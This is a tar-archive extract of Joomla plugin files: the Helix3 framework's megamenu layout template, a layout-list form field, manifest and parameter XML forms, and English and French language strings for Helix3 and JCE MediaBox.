          echo '<div class="draggable-module" data-mod_id="' . $module->id . '">' . $module->title . '<i class="fa fa-remove"></i><i class="fa fa-arrows"></i></div>';
        }
      }?>
    </div>
  </div>

  <div class="span10">

    <div class="action-bar">
      <ul>
        <li>
          <strong><?php echo JText::_('HELIX_MENU_SUB_WIDTH'); ?></strong> <input type="number" id="menuWidth" name="width" value="<?php echo $menu_width; ?>">
        </li>
        <li id="sizeShape"><a href="#" class="add-layout btn btn-primary"><i class="fa fa-plus"></i> <?php echo JText::_('HELIX_MENU_MANAGE_LAYOUT'); ?></a></li>
        <li class="btn-group">
          <a class="alignment btn <?php echo ($align == 'left')?'active':''; ?>" data-al_flag="left" href="#"><?php echo JText::_('HELIX_GLOBAL_LEFT'); ?></a>
          <a class="alignment btn <?php echo ($align == 'center')?'active':''; ?>" data-al_flag="center" href="#"><?php echo JText::_('HELIX_GLOBAL_CENTER'); ?></a>
          <a class="alignment btn <?php echo ($align == 'right')?'active':''; ?>" data-al_flag="right" href="#"><?php echo JText::_('HELIX_GLOBAL_RIGHT'); ?></a>
          <a class="alignment btn <?php echo ($align == 'full')?'active':''; ?>" data-al_flag="full" href="#"><?php echo JText::_('HELIX_GLOBAL_FULL'); ?></a>
        </li>
        <li class="btn-group">
          <a class="layout-reset btn btn-success"href="#" data-current_item="<?php echo $current_menu_id; ?>"><i class="fa fa-refresh"></i> <?php echo JText::_('HELIX_GLOBAL_RESET'); ?></a>
        </li>
      </ul>
    </div>

    <div id="megamenulayout" style="width:<?php echo $menu_width; ?>px;" data-width="<?php echo $menu_width; ?>" data-menu_item="<?php echo $count; ?>" data-menu_align="<?php echo $align; ?>">

      <?php

      if ($layout) {

        foreach ($layout as $key => $row) {

          ?>

          <div class="menu-section">
            <span class="row-move"><i class="fa fa-bars"></i></span>
            <div class="spmenu sp-row">

              <?php foreach ($row->attr as $key => $column){ ?>

                <div class="column sp-col-sm-<?php echo $column->colGrid; ?>" data-column="<?php echo $column->colGrid; ?>">
                  <div class="column-items-wrap">

                    <?php
                    $menus_id = $column->menuParentId;
                    $modId = $column->moduleId;

                    if ( $menus_id )
                    {
                      $menu_id_array = explode(',',$menus_id);
                      foreach ($menu_id_array as $menuId) {
                        ?>
                        <?php if(in_array( $menuId , $item)) { ?>

                          <h4 data-current_child="<?php echo $menuId; ?>" ><?php echo $menuItems->getItem($menuId)->title; ?></h4>
                        <?php }else if($current_menu_id != $menuId){ ?>
                          <h4 style="display:none" data-current_child="<?php echo $menuId; ?>" ><?php echo $menuItems->getItem($current_menu_id)->title; ?></h4>
                        <?php }else if (isset($menuId)) { ?>
                          <h4 style="display:none" data-current_child="<?php echo $menuId; ?>" ><?php echo $menuItems->getItem($menuId)->title; ?></h4>
                        <?php } ?>
                        <?php if (isset($items[$menuId])) {?>

                          <ul class="child-menu-items">
                            <?php echo create_menu($menuId); ?>
                          </ul>
                        <?php } ?>
                        <?php
                      }
                    }

                    ?>

                    <div class="modules-container"><?php if ($modId){
                      $modArray = explode(',',$modId);
                      foreach ($modArray as $mod_id)
                      {
                        $modules = getModuleNameId($mod_id);

                        if ($modules) {
                          $module = $modules[0];
                          ?>
                          <div class='draggable-module' data-mod_id="<?php echo $module->id; ?>"><?php echo $module->title; ?><i class="fa fa-remove"></i><i class="fa fa-arrows"></i></div>
                          <?php
                        }
                      }
                    }?></div>

                  </div>
                </div>

              <?php } ?>

            </div>
          </div>

          <?php
        }
      }
      else if($no_child === true)
      {
        echo '<div class="menu-section">';
        echo '<span class="row-move"><i class="fa fa-bars"></i></span>';
        echo '<div class="spmenu sp-row">';
        echo '<div class="column sp-col-md-12" data-column="12">';
        echo '<div class="column-items-wrap">';
        echo '<h4 style="display:none" data-current_child="'.$current_menu_id.'" >'.$menuItems->getItem($current_menu_id)->title.'</h4>';
        echo '<ul class="child-menu-items">';

        foreach ($item as $key => $id)
        {
          echo '<li>'.$menuItems->getItem($id)->title.'</li>';
        }
        echo '</ul>';
        echo '<div class="modules-container">';
        echo '</div>';
        echo '</div>';
        echo '</div>';
        echo '</div>';
        echo '</div>';
      }
      else
      {
        echo '<div class="menu-section">';
        echo '<span class="row-move"><i class="fa fa-bars"></i></span>';
        echo '<div class="spmenu sp-row">';

        $columnNumber = 12 / $count;
        foreach ($item_array as $key => $item_array)
        {
          echo '<div class="column sp-col-md-'.$columnNumber.'" data-column="'.$columnNumber.'">';
          echo '<div class="column-items-wrap">';

          foreach ($item_array as $key => $item)
          {
            $id = $item[0];
            echo '<h4 data-current_child="'.$id.'" >'.$menuItems->getItem($id)->title.'</h4>';

            if ($item[1])
            {
              echo '<ul class="child-menu-items">';
              echo create_menu($id);
              echo '</ul>';
            }

          }

          echo '<div class="modules-container"></div>';
          echo '</div>';
          echo '</div>';
        }

        echo '</div>';
        echo '</div>';
      } ?>

    </div>
  </div>
</div>

<div class="sp-modal" id="layout-modal" tabindex="-1" role="dialog" aria-labelledby="modal-label" aria-hidden="true">
  <div class="sp-modal-dialog">
    <div class="sp-modal-content">
      <div class="sp-modal-header">
        <button type="button" class="close" data-dismiss="spmodal" aria-hidden="true">&times;</button>
        <h3 class="sp-modal-title" id="modal-label"><?php echo JText::_('HELIX_MENU_CHOOSE_LAYOUT'); ?></h3>
      </div>
      <div class="sp-modal-body">
        <ul class="menu-layout-list clearfix">
          <li><a href="#" class="layout12" data-layout="12" data-design="layout12"><img src="<?php echo JURI::root(true) . '/plugins/system/helix3/assets/images/megamenu/12.png'; ?>" alt="12"></a></li>
          <li><a href="#" class="layout66" data-layout="6,6" data-design="layout66"><img src="<?php echo JURI::root(true) . '/plugins/system/helix3/assets/images/megamenu/6-6.png'; ?>" alt="6+6"></a></li>
          <li><a href="#" class="layout444" data-layout="4,4,4" data-design="layout444"><img src="<?php echo JURI::root(true) . '/plugins/system/helix3/assets/images/megamenu/4-4-4.png'; ?>" alt="4+4+4"></a></li>
          <li><a href="#" class="layout3333" data-layout="3,3,3,3" data-design="layout3333"><img src="<?php echo JURI::root(true) . '/plugins/system/helix3/assets/images/megamenu/3-3-3-3.png'; ?>" alt="3+3+3+3"></a></li>
          <li><a href="#" class="layout222222" data-layout="2,2,2,2,2,2" data-design="layout222222"><img src="<?php echo JURI::root(true) . '/plugins/system/helix3/assets/images/megamenu/2-2-2-2-2-2.png'; ?>" alt="2+2+2+2+2+2"></a></li>
          <li><a href="#" class="layout57" data-layout="5,7" data-design="layout57"><img src="<?php echo JURI::root(true) . '/plugins/system/helix3/assets/images/megamenu/5-7.png'; ?>" alt="5+7"></a></li>
          <li><a href="#" class="layout48" data-layout="4,8" data-design="layout48"><img src="<?php echo JURI::root(true) . '/plugins/system/helix3/assets/images/megamenu/4-8.png'; ?>" alt="4+8"></a></li>
          <li><a href="#" class="layout39" data-layout="3,9" data-design="layout39"><img src="<?php echo JURI::root(true) . '/plugins/system/helix3/assets/images/megamenu/3-9.png'; ?>" alt="3+9"></a></li>
          <li><a href="#" class="layout44412" data-layout="4,4,4,12" data-design="layout44412"><img src="<?php echo JURI::root(true) . '/plugins/system/helix3/assets/images/megamenu/4-4-4-12.png'; ?>" alt="4+4+4+12"></a></li>
          <li><a href="#" class="layout333312" data-layout="3,3,3,3,12" data-design="layout333312"><img src="<?php echo JURI::root(true) . '/plugins/system/helix3/assets/images/megamenu/3-3-3-3-12.png'; ?>" alt="3+3+3+3+12"></a></li>
          <li><a href="#" class="layout6612" data-layout="6,6,12" data-design="layout6612"><img src="<?php echo JURI::root(true) . '/plugins/system/helix3/assets/images/megamenu/6-6-12.png'; ?>" alt="6+6+12"></a></li>
          <li><a href="#" class="layout44466" data-layout="4,4,4,6,6" data-design="layout44466"><img src="<?php echo JURI::root(true) . '/plugins/system/helix3/assets/images/megamenu/4-4-4-6-6.png'; ?>" alt="4+4+4+6+6"></a></li>
        </ul>
      </div>
    </div>
  </div>
</div>

<div class="menu-layout">

  <div class="layout-design" id="layout12">
    <div class="menu-section">
      <span class="row-move"><i class="fa fa-bars"></i></span>
      <div class="spmenu sp-row">
        <div class="column sp-col-sm-12" data-column="12">
          <div class="column-items-wrap">{0}</div>
        </div>
      </div>
    </div>
  </div>

  <div class="layout-design" id="layout66">
    <div class="menu-section">
      <span class="row-move"><i class="fa fa-bars"></i></span>
      <div class="spmenu sp-row">
        <div class="column sp-col-sm-6" data-column="6">
          <div class="column-items-wrap">{0}</div>
        </div>
        <div class="column sp-col-sm-6" data-column="6">
          <div class="column-items-wrap">{1}</div>
        </div>
      </div>
    </div>
  </div>

  <div class="layout-design" id="layout444">
    <div class="menu-section">
      <span class="row-move"><i class="fa fa-bars"></i></span>
      <div class="spmenu sp-row">
        <div class="column sp-col-sm-4" data-column="4">
          <div class="column-items-wrap">{0}</div>
        </div>
        <div class="column sp-col-sm-4" data-column="4">
          <div class="column-items-wrap">{1}</div>
        </div>
        <div class="column sp-col-sm-4" data-column="4">
          <div class="column-items-wrap">{2}</div>
        </div>
      </div>
    </div>
  </div>

  <div class="layout-design" id="layout3333">
    <div class="menu-section">
      <span class="row-move"><i class="fa fa-bars"></i></span>
      <div class="spmenu sp-row">
        <div class="column sp-col-sm-3" data-column="3">
          <div class="column-items-wrap">{0}</div>
        </div>
        <div class="column sp-col-sm-3" data-column="3">
          <div class="column-items-wrap">{1}</div>
        </div>
        <div class="column sp-col-sm-3" data-column="3">
          <div class="column-items-wrap">{2}</div>
        </div>
        <div class="column sp-col-sm-3" data-column="3">
          <div class="column-items-wrap">{3}</div>
        </div>
      </div>
    </div>
  </div>

  <div class="layout-design" id="layout222222">
    <div class="menu-section">
      <span class="row-move"><i class="fa fa-bars"></i></span>
      <div class="spmenu sp-row">
        <div class="column sp-col-sm-2" data-column="2">
          <div class="column-items-wrap">{0}</div>
        </div>
        <div class="column sp-col-sm-2" data-column="2">
          <div class="column-items-wrap">{1}</div>
        </div>
        <div class="column sp-col-sm-2" data-column="2">
          <div class="column-items-wrap">{2}</div>
        </div>
        <div class="column sp-col-sm-2" data-column="2">
          <div class="column-items-wrap">{3}</div>
        </div>
        <div class="column sp-col-sm-2" data-column="2">
          <div class="column-items-wrap">{4}</div>
        </div>
        <div class="column sp-col-sm-2" data-column="2">
          <div class="column-items-wrap">{5}</div>
        </div>
      </div>
    </div>
  </div>

  <div class="layout-design" id="layout57">
    <div class="menu-section">
      <span class="row-move"><i class="fa fa-bars"></i></span>
      <div class="spmenu sp-row">
        <div class="column sp-col-sm-5" data-column="5">
          <div class="column-items-wrap">{0}</div>
        </div>
        <div class="column sp-col-sm-7" data-column="7">
          <div class="column-items-wrap">{1}</div>
        </div>
      </div>
    </div>
  </div>

  <div class="layout-design" id="layout48">
    <div class="menu-section">
      <span class="row-move"><i class="fa fa-bars"></i></span>
      <div class="spmenu sp-row">
        <div class="column sp-col-sm-4" data-column="4">
          <div class="column-items-wrap">{0}</div>
        </div>
        <div class="column sp-col-sm-8" data-column="8">
          <div class="column-items-wrap">{1}</div>
        </div>
      </div>
    </div>
  </div>

  <div class="layout-design" id="layout39">
    <div class="menu-section">
      <span class="row-move"><i class="fa fa-bars"></i></span>
      <div class="spmenu sp-row">
        <div class="column sp-col-sm-3" data-column="3">
          <div class="column-items-wrap">{0}</div>
        </div>
        <div class="column sp-col-sm-9" data-column="9">
          <div class="column-items-wrap">{1}</div>
        </div>
      </div>
    </div>
  </div>

  <div class="layout-design" id="layout44412">
    <div class="menu-section">
      <span class="row-move"><i class="fa fa-bars"></i></span>
      <div class="spmenu sp-row">
        <div class="column sp-col-sm-4" data-column="4">
          <div class="column-items-wrap">{0}</div>
        </div>
        <div class="column sp-col-sm-4" data-column="4">
          <div class="column-items-wrap">{1}</div>
        </div>
        <div class="column sp-col-sm-4" data-column="4">
          <div class="column-items-wrap">{2}</div>
        </div>
      </div>
    </div>
    <div class="menu-section">
      <span class="row-move"><i class="fa fa-bars"></i></span>
      <div class="spmenu sp-row">
        <div class="column sp-col-sm-12" data-column="12">
          <div class="column-items-wrap">{3}</div>
        </div>
      </div>
    </div>
  </div>

  <div class="layout-design" id="layout333312">
    <div class="menu-section">
      <span class="row-move"><i class="fa fa-bars"></i></span>
      <div class="spmenu sp-row">
        <div class="column sp-col-sm-3" data-column="3">
          <div class="column-items-wrap">{0}</div>
        </div>
        <div class="column sp-col-sm-3" data-column="3">
          <div class="column-items-wrap">{1}</div>
        </div>
        <div class="column sp-col-sm-3" data-column="3">
          <div class="column-items-wrap">{2}</div>
        </div>
        <div class="column sp-col-sm-3" data-column="3">
          <div class="column-items-wrap">{3}</div>
        </div>
      </div>
    </div>
    <div class="menu-section">
      <span class="row-move"><i class="fa fa-bars"></i></span>
      <div class="spmenu sp-row">
        <div class="column sp-col-sm-12" data-column="12">
          <div class="column-items-wrap">{4}</div>
        </div>
      </div>
    </div>
  </div>

  <div class="layout-design" id="layout6612">
    <div class="menu-section">
      <span class="row-move"><i class="fa fa-bars"></i></span>
      <div class="spmenu sp-row">
        <div class="column sp-col-sm-6" data-column="6">
          <div class="column-items-wrap">{0}</div>
        </div>
        <div class="column sp-col-sm-6" data-column="6">
          <div class="column-items-wrap">{1}</div>
        </div>
      </div>
    </div>
    <div class="menu-section">
      <span class="row-move"><i class="fa fa-bars"></i></span>
      <div class="spmenu sp-row">
        <div class="column sp-col-sm-12" data-column="12">
          <div class="column-items-wrap">{2}</div>
        </div>
      </div>
    </div>
  </div>

  <div class="layout-design" id="layout44466">
    <div class="menu-section">
      <span class="row-move"><i class="fa fa-bars"></i></span>
      <div class="spmenu sp-row">
        <div class="column sp-col-sm-4" data-column="4">
          <div class="column-items-wrap">{0}</div>
        </div>
        <div class="column sp-col-sm-4" data-column="4">
          <div class="column-items-wrap">{1}</div>
        </div>
        <div class="column sp-col-sm-4" data-column="4">
          <div class="column-items-wrap">{2}</div>
        </div>
      </div>
    </div>
    <div class="menu-section">
      <span class="row-move"><i class="fa fa-bars"></i></span>
      <div class="spmenu sp-row">
        <div class="column sp-col-sm-6" data-column="6">
          <div class="column-items-wrap">{3}</div>
        </div>
        <div class="column sp-col-sm-6" data-column="6">
          <div class="column-items-wrap">{4}</div>
        </div>
      </div>
    </div>
  </div>
</div>
            system/helix3/fields/layoutlist.php                                                                 0000705                 00000003152 15242051520 0013447 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
* @package Helix3 Framework
* @author JoomShaper http://www.joomshaper.com
* @copyright Copyright (c) 2010 - 2017 JoomShaper
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

//no direct accees
defined ('_JEXEC') or die ('resticted aceess');

jimport('joomla.form.formfield');

class JFormFieldLayoutlist extends JFormField
{
  protected $type = 'Layoutlist';

  public function getInput()
  {
    $template  = self::getTemplate();
    $layoutPath = JPATH_SITE.'/templates/'.$template.'/layout/';
    $laoutlist = JFolder::files($layoutPath, '.json');

    $htmls = '<div class="layoutlist"><select id="'.$this->id.'" name="'.$this->name.'">';
    if ($laoutlist) {
      foreach ($laoutlist as $name) {
        $htmls .= '<option value="'.$name.'">'.str_replace('.json','',$name).'</option>';
      }
    }
    $htmls .= '</select></div>';
    $htmls .= '<div class="layout-button-wrap"><a href="#" class="btn btn-success layout-save-action" data-action="save">'. JText::_('HELIX_SAVE_COPY') .'</a>';
    $htmls .= '<a href="#" class="btn btn-danger layout-del-action" data-action="remove">'. JText::_('HELIX_DELETE') .'</a></div>';

    return $htmls;
  }


  public function getLabel()
  {
    return false;
  }

  //Get template name
  private static function getTemplate() {

    $db = JFactory::getDbo();
    $query = $db->getQuery(true);
    $query->select($db->quoteName(array('template')));
    $query->from($db->quoteName('#__template_styles'));
    $query->where($db->quoteName('id') . ' = '. $db->quote( JRequest::getVar('id') ));
    $db->setQuery($query);

    return $db->loadResult();
  }
}
                                                                                                                                                                                                                                                                                                                                                                                                                      system/helix3/helix3.xml                                                                            0000705                 00000002553 15242051520 0011201 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="3.4" type="plugin" group="system" method="upgrade">
    <name>System - Helix3 Framework</name>
    <author>JoomShaper.com</author>
    <creationDate>Jan 2015</creationDate>
    <copyright>Copyright (C) 2010 - 2017 JoomShaper. All rights reserved.</copyright>
    <license>http://www.gnu.org/licenses/gpl-2.0.html GPLv2 or later</license>
    <authorEmail>support@joomshaper.com</authorEmail>
    <authorUrl>www.joomshaper.com</authorUrl>
    <version>2.5.6</version>
    <description>Helix3 Framework - Joomla Template Framework by JoomShaper</description>

    <updateservers>
        <server type="extension" priority="1" name="System - Helix3 Framework">http://www.joomshaper.com/updates/plg-system-helix3.xml</server>
    </updateservers>

    <languages>
        <language tag="en-GB">language/en-GB.plg_system_helix3.ini</language>
    </languages>

    <files>
		<filename plugin="helix3">helix3.php</filename>
		<folder plugin="helix3">assets</folder>
		<folder plugin="helix3">core</folder>
		<folder plugin="helix3">language</folder>
        <folder plugin="helix3">fields</folder>
        <folder plugin="helix3">layout</folder>
        <folder plugin="helix3">layouts</folder>
		<folder plugin="helix3">params</folder>
    </files>
    <fieldset addfieldpath="/plugins/system/helix3/fields"></fieldset>
</extension>
                                                                                                                                                     system/helix3/params/post-formats.xml                                                               0000705                 00000004517 15242051520 0013730 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<form>
	<fields name="attribs" addfieldpath="/plugins/system/helix3/fields">
		<fieldset name="sppostformats" label="BLOG_OPTIONS">
			<field name="spfeatured_image" type="spimage" label="BLOG_POST_FEATURE_IMAGE" description="BLOG_POST_FORMAT_GALLERY_DESCRIPTION" />
			<field name="spfeatured_image_alt" type="text" label="BLOG_POST_FEATURE_IMAGE_ALTER_TEXT" description="BLOG_POST_FEATURE_IMAGE_ALTER_TEXT_DESCRIPTION" hint="Feature image alter text" />
			<field name="post_format" type="radio" label="Post Format" default="standard" class="btn-group post-formats" description="Mega Menu Layout">
				<option value="standard">BLOG_POST_FORMAT_STANDARD</option>
				<option value="video">BLOG_POST_FORMAT_VIDEO</option>
				<option value="gallery">BLOG_POST_FORMAT_GALLERY</option>
				<option value="audio">BLOG_POST_FORMAT_AUDIO</option>
				<option value="link">BLOG_POST_FORMAT_LINK</option>
				<option value="quote">BLOG_POST_FORMAT_QUOTE</option>
				<option value="status">BLOG_POST_FORMAT_STATUS</option>
			</field>
			<field name="gallery" type="spgallery" label="BLOG_POST_FORMAT_GALLERY_LABEL" description="BLOG_POST_FORMAT_GALLERY_DESCRIPTION" />
			<field name="audio" type="textarea" rows="5" label="BLOG_POST_FORMAT_AUDIO_LABEL" description="BLOG_POST_FORMAT_AUDIO_DESCRIPTION" class="input-xxlarge" filter="raw" />
			<field name="video" type="url" label="BLOG_POST_FORMAT_VIDEO_LABEL" description="BLOG_POST_FORMAT_VIDEO_DESCRIPTION" />
			<field name="link_title" type="text" label="BLOG_POST_FORMAT_LINK_TITLE_LABEL" description="BLOG_POST_FORMAT_LINK_TITLE_DESCRIPTION" hint="Best Joomla Templates" />
			<field name="link_url" type="url" label="BLOG_POST_FORMAT_LINK_LABEL" description="BLOG_POST_FORMAT_LINK_DESCRIPTION" hint="http://www.joomshaper.com/joomla-templates" />
			<field name="quote_text" type="textarea" rows="5" label="BLOG_POST_FORMAT_QUOTE_TEXT_LABEL" description="BLOG_POST_FORMAT_QUOTE_TEXT_DESCRIPTION" class="input-xxlarge" filter="raw" />
			<field name="quote_author" type="text" label="BLOG_POST_FORMAT_QUOTE_AUTHOR_LABEL" description="BLOG_POST_FORMAT_QUOTE_AUTHOR_DESCRIPTION" />
			<field name="post_status" type="textarea" rows="5" label="BLOG_POST_FORMAT_STATUS_LABEL" description="BLOG_POST_FORMAT_STATUS_DESCRIPTION" class="input-xxlarge" filter="raw" />
		</fieldset>
	</fields>
</form>                                                                                                                                                                                 system/helix3/params/page-title.xml                                                                 0000705                 00000001607 15242051520 0013322 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<form>
	<fields name="params" addfieldpath="/plugins/system/helix3/fields">
	<fieldset name="pagetitle" label="HELIX_PAGE_TITLE">			
		<field name="enable_page_title" type="radio" class="btn-group" default="0" label="ENABLE_PAGE_TITLE" description="ENABLE_PAGE_TITLE_DESC">
			<option value="1">JYES</option>
			<option value="0">JNO</option>
		</field>
			
		<field name="page_title_alt" type="text" default="" label="PAGE_TITLE_ALT" description="PAGE_TITLE_ALT_DESC" />
		<field name="page_subtitle" type="text" default="" label="PAGE_SUBTITLE" description="PAGE_SUBTITLE_DESC" />
		<field name="page_title_bg_color" type="color" label="PAGE_BACKGROUND_COLOR" description="PAGE_BACKGROUND_COLOR_DESC" />
		<field name="page_title_bg_image" type="media" label="PAGE_BACKGROUND_IMAGE" description="PAGE_BACKGROUND_IMAGE_DESC" />
    </fieldset>
	</fields>
</form>
                                                                                                                         system/helix3/params/menu-parent.xml                                                                0000705                 00000001346 15242051520 0013522 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<form>
	<fields name="params" addfieldpath="/plugins/system/helix3/fields">
	<fieldset name="spmegamenu" label="HELIX_MENU">
        <field name="menulayout" type="megamenu" />
        <field name="megamenu" type="hidden" default="0" />
		<field name="showmenutitle" type="radio" default="1" class="btn-group" label="HELIX_MENU_SHOW_TITLE" description="HELIX_MENU_SHOW_TITLE_DESC">
			<option value="1">HELIX_YES</option>
			<option value="0">HELIX_NO</option>
		</field>		
		<field name="icon" type="icon" label="HELIX_MENU_ICON" description="HELIX_MENU_ICON_DESC" />		
		<field name="class" type="text" label="HELIX_MENU_CLASS" description="HELIX_MENU_CLASS_DESC" />
    </fieldset>
	</fields>
</form>                                                                                                                                                                                                                                                                                          system/helix3/params/menu-child.xml                                                                 0000705                 00000001663 15242051520 0013316 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<form>
	<fields name="params" addfieldpath="/plugins/system/helix3/fields">
	<fieldset name="spsubmenu" label="HELIX_SUB_MENU">
        <field name="dropdown_position" type="radio" class="btn-group" default="right" label="HELIX_MENU_DROPDOWN_POSITION" description="HELIX_MENU_DROPDOWN_POSITION_DESC">
        	<option value="left">HELIX_GLOBAL_LEFT</option>
        	<option value="right">HELIX_GLOBAL_RIGHT</option>
        </field>	
        <field name="showmenutitle" type="radio" default="1" class="btn-group" label="HELIX_MENU_SHOW_TITLE" description="HELIX_MENU_SHOW_TITLE_DESC">
			<option value="1">HELIX_YES</option>
			<option value="0">HELIX_NO</option>
		</field>		
		<field name="icon" type="icon" label="HELIX_MENU_ICON" description="HELIX_MENU_ICON_DESC" />		
		<field name="class" type="text" label="HELIX_MENU_CLASS" description="HELIX_MENU_CLASS_DESC" />
    </fieldset>
	</fields>
</form>
                                                                             system/helix3/language/en-GB.plg_system_helix3.ini                                                  0000705                 00000006320 15242051520 0016074 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ;Megamenu
HELIX_MENU="Helix Megamenu Options"
HELIX_SUB_MENU="Helix Menu Options"
HELIX_MENU_SHOW_TITLE="Show Menu Title"
HELIX_MENU_SHOW_TITLE_DESC="Disable this option to hide menu title."
HELIX_MENU_ICON="Menu Icon"
HELIX_MENU_ICON_DESC="Select any icon from the list to display just before this menu item title."
HELIX_MENU_CLASS="Custom CSS Class"
HELIX_MENU_CLASS_DESC="Add custom css class to this menu item."
HELIX_MENU_MANAGE_LAYOUT="Manage Layout"
HELIX_GLOBAL_LEFT="Left"
HELIX_GLOBAL_CENTER="Center"
HELIX_GLOBAL_RIGHT="Right"
HELIX_GLOBAL_FULL="Full"
HELIX_GLOBAL_RESET="Reset"
HELIX_MENU_SUB_WIDTH="Dropdown Width"
HELIX_MENU_DRAG_MODULE="Drag Module"
HELIX_MENU_CHOOSE_LAYOUT="Choose Layout"
HELIX_YES="Yes"
HELIX_NO="NO"
HELIX_MENU_DROPDOWN_POSITION="Dropdown Position"
HELIX_MENU_DROPDOWN_POSITION_DESC="Set the position of the dropdown under this menu item."

;Page Title
HELIX_PAGE_TITLE="Helix Page Title"
ENABLE_PAGE_TITLE="Enable Page Title"
ENABLE_PAGE_TITLE_DESC="Enable this option show page title after just below the header."
ENABLE_PAGE_TITLE="Enable Page Title"
ENABLE_PAGE_TITLE_DESC="Enable this option show page title after just below the header."
PAGE_TITLE_ALT="Alternative Title"
PAGE_TITLE_ALT_DESC="Alternative title will override joomla default menu title."
PAGE_SUBTITLE="Page Subtitle"
PAGE_SUBTITLE_DESC="Add brief description about the page as page subtitle."
PAGE_BACKGROUND_COLOR="Background Color"
PAGE_BACKGROUND_COLOR_DESC="Background color for the title area."
PAGE_BACKGROUND_IMAGE="Background Image"
PAGE_BACKGROUND_IMAGE_DESC="Background image for the title area."

;Blog
BLOG_OPTIONS="<i class='fa fa-joomla fa-fw'></i>Helix Blog Options"
BLOG_POST_FORMAT_STANDARD="<i class='fa fa-thumb-tack fa-fw'></i> Standard"
BLOG_POST_FORMAT_VIDEO="<i class='fa fa-film fa-fw'></i> Video"
BLOG_POST_FORMAT_GALLERY="<i class='fa fa-picture-o fa-fw'></i> Gallery"
BLOG_POST_FORMAT_AUDIO="<i class='fa fa-music fa-fw'></i> Audio"
BLOG_POST_FORMAT_LINK="<i class='fa fa-link fa-fw'></i> Link"
BLOG_POST_FORMAT_QUOTE="<i class='fa fa-quote-left fa-fw'></i> Quote"
BLOG_POST_FORMAT_STATUS="<i class='fa fa-comment-o fa-fw'></i> Status"
BLOG_POST_FEATURE_IMAGE="Featured Image"
BLOG_POST_FEATURE_IMAGE_ALTER_TEXT="Feature Image Alt Text"
BLOG_POST_FEATURE_IMAGE_ALTER_TEXT_DESCRIPTION="Insert Feature image's alter text"
BLOG_POST_FORMAT_GALLERY_LABEL="Upload Gallery Images"
BLOG_POST_FORMAT_GALLERY_DESCRIPTION="Select one or more images"
BLOG_POST_FORMAT_AUDIO_LABEL="Audio Embed Code"
BLOG_POST_FORMAT_AUDIO_DESCRIPTION="Write Your Audio Embed Code Here"
BLOG_POST_FORMAT_VIDEO_LABEL="Video URL"
BLOG_POST_FORMAT_VIDEO_DESCRIPTION="Add YouTube or Vimeo full URL."
BLOG_POST_FORMAT_LINK_TITLE_LABEL="Link Title"
BLOG_POST_FORMAT_LINK_TITLE_DESCRIPTION="Add the title of the link."
BLOG_POST_FORMAT_LINK_LABEL="Link URL"
BLOG_POST_FORMAT_LINK_DESCRIPTION="Add Link URL."
BLOG_POST_FORMAT_QUOTE_TEXT_LABEL="Quote Text"
BLOG_POST_FORMAT_QUOTE_TEXT_DESCRIPTION="Add quote text"
BLOG_POST_FORMAT_QUOTE_AUTHOR_LABEL="Quote Author"
BLOG_POST_FORMAT_QUOTE_AUTHOR_DESCRIPTION="Add Quote Author. e.g. John Doe"
BLOG_POST_FORMAT_STATUS_LABEL="Add Status"
BLOG_POST_FORMAT_STATUS_DESCRIPTION="Add embeded status. Write Facebook, Twitter etc status link"
                                                                                                                                                                                                                                                                                                                system/jcemediabox/language/fr-FR/plg_system_jcemediabox.sys.ini                                    0000644                 00000003052 15242051520 0021073 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ; JCE Project
; Copyright (C) 2006 - 2026 Ryan Demmer. All rights reserved - https://www.joomlacontenteditor.net
; Licence : GNU/GPL Version 2 - http://www.gnu.org/licenses/gpl-2.0.html
; Coordination traduction FR : Mihàly Marti alias Sarki - https://www.sarki.ch/jce
; Note : All ini files need to be saved as UTF-8 - No BOM

PLG_SYSTEM_JCEMEDIABOX="Système - JCE MediaBox 2"
PLG_SYSTEM_JCEMEDIABOX_XML_DESC="<h3>Plugin JCE MediaBox, complément de l'éditeur JCE pour Joomla!</h3><p>JCE MediaBox permet d'afficher des médias (image, flash, flv, quicktime, vmw, avi, mpg, divx, youtube, etc.) et des contenus en popup de styles personnalisables.</p><p>JCE MediaBox permet également d'insérer des infobulles sur du texte ou des médias.</p><p>Présentation et modes d'emploi en anglais sur le site de l'auteur de JCE, Ryan Demmer : <a href='https://www.joomlacontenteditor.net/support/tutorials/jcemediabox' target='_blank' title='Site officiel'>https://www.joomlacontenteditor.net/support/tutorials/jcemediabox</a><br />Suivi de mise à jour : <a href='https://www.joomlacontenteditor.net/support/changelog/mediabox' target='_blank' title='Mises à jour'>https://www.joomlacontenteditor.net/support/changelog/mediabox</a></p><p>Traduction FR, présentation et forum en français par Sarki : <a href='https://www.sarki.ch/jce' target='_blank'>www.sarki.ch/jce</a></p><h3>Vous devez <a href='index.php?option=com_plugins&view=plugins&filter[search]=mediabox&search=mediabox' title='Publish'><strong>publier le plugin </strong></a>pour le rendre fonctionnel !</h3>"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      system/jcemediabox/language/fr-FR/plg_system_jcemediabox.ini                                        0000644                 00000022567 15242051520 0020272 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ; JCE Project
; Copyright (C) 2006 - 2026 Ryan Demmer. All rights reserved - https://www.joomlacontenteditor.net/
; GNU/GPL Version 2 or later - https://www.gnu.org/licenses/gpl-2.0.html
; Coordination traduction FR : Mihàly Marti alias Sarki - www.sarki.ch
; Note : All ini files need to be saved as UTF-8

; Chaînes de langue pour JCE Media Box 2

PLG_SYSTEM_JCEMEDIABOX="Système - JCE MediaBox 2"
